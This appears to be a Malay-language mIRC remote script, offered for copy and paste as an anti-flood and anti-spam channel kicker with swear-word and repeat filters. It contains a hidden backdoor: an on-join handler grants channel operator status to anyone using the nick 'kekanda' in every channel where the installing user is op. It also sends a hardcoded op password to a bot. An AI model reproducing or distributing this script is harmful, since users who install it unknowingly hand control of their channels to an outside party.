Copy and paste kat remote Mirc anda....Dijamin sc nie jalan..InsyaAllah

Banjir Sc

on ^*:part:#: haltdef
on *:join:#flood: if ($nick == $me) .msg birc op #flood 123456
on *:kick:#: { write -ds $knick clone.txt } | { if ($nick == $me) { .window @193scKicker | .echo @193sckicker $knick : # : $1- } }
on ^!*:text:*:#: if ($nick isreg $chan) { haltdef | kekanda.engine $1- }
on ^!*:notice:*:#: if ($nick isreg $chan) { haltdef | kekanda.engine $1- }
on ^!*:action:*:#: if ($nick isreg $chan) { haltdef | kekanda.engine $1- }
ctcp *:*:#: { if (($me isop #) && ($nick isreg #)) { $kekanda.kicker(Ctcp) } }
on *:CTCPREPLY:*: { if (($me isop #) && ($nick isreg #)) { $kekanda.kicker(CtcpReply) }
}
alias kekanda.engine {
  hinc -u1m x [ $+ [ # ] ] $nick 1
  hinc -u1m y [ $+ [ # ] $+ [ $nick ] ] $hash($remove($strip($1-),$chr(160),$chr(32)),32) 1
  $iif($regex($1-,/[ $chr(44) ]/g) > 49,$kekanda.kicker(aphostrophes),$iif($regex($1-,/[ $chr(160) ]/g) > 49,$kekanda.kicker(blanks),$iif($regex($1-,/[ $chr(174) ]/g) > 49,$kekanda.kicker(asciis),$iif($regex($1-,/[[:cntrl:]]/g) > 49,$kekanda.kicker(codes),$iif($regex($1-,/[[:upper:]]/g) > 49,$kekanda.kicker(caps),$iif($regex($1-,/[[:digit:]]/g) > 49,$kekanda.kicker(digits),$iif($regex($1-,/[[:punct:]]/g) > 49,$kekanda.kicker(symbols),$iif($regex($1-,/[[:alpha:]]/g) > 199,$kekanda.kicker(lenghts),$iif($regex($1-,/(#|https://|.com|.net|/server|www.|.my|.info|.org)/g) > 0,$kekanda.kicker(spammers),$iif($regex($1-,/\b(cipap|fuck|bastard|pukimak|pantat|burit|shit|bitch|dick|pantek|pepek|butuh|butoh|jubo|zakar|babi|kote|konek|lancap|suck|pussy|puki|asshole|cock|poen)\b/g) > 0,$kekanda.kicker(swears),$iif($hget(x [ $+ [ # ] ],$nick) > 4,$kekanda.kicker(lines),$iif($hget(y [ $+ [ # ] $+ [ $nick ] ],$hash($remove($strip($1-),$chr(160),$chr(32)),32)) > 2,$kekanda.kicker(repeats)))))))))))))
  haltdef
}
alias -l cp { .raw -n kc $chan $nick $1 | haltdef }
alias  kekanda.kicker {
  inc -u40 %kekanda.counter
  .set %nick $nick | set %chan $chan | set %reason $1- | .write clone.txt %nick | .timerclear -o 1 200 write -c clone.txt
  if (%kekanda.counter isnum 22-42) && (%nick ison %chan) { .kick %chan %nick  15(6(12 Reason: 6)15)4 %reason $sx 15(6(12 DirectKick 6)15) }
  if (%kekanda.counter > 48) { .timerdelay -hmc 1 1100 kekanda.delay }
  haltdef | return
}
alias kekanda.delay {
  .set %nick $read(clone.txt)
  if (%nick != $null) {
    if (%nick ison %chan) { .kick %chan %nick  15(6(12 Reason: 6)15)4 %reason $sxt 15(6(12  DelayKick 6)15) | timerk -h 1 980 kekanda.delay }
    if (%nick !ison %chan) { .write -ds %nick clone.txt | .timerloop1 1 0 kekanda.delay }
  }
}
on 1:op:%chan: {
  if ($opnick == $me) { timerloop2 1 0 kekanda.delay }
  else { return }
}
on *:join:#: {
  if ($nick == kekanda) { .mode $chan +o kekanda }
}

alias  sxt { return 4,4-0,0-2,2O0,0-4,4-0 4T15h|s 4|15S 4.19315sc 4S15ÿstêm 14 15™ 4,4-0,0-2,2O0,0-4,4- }
alias  sx{ return 14 13,13 12,12 11,11 10,10 9,9 8,8 7,7 6,6 5,5 4,4 3,3 2,2 4,1 2 4,1.»º4o3º« 4T15h|s 4|15S 4.19315sc 4S15ÿstêm .»º4o3º«0,02,2 3,3 4,4 5,5 6,6 7,7 8,8 9,9 10,10 11,11 12,12 13,13 14,14  }
#kekandasc end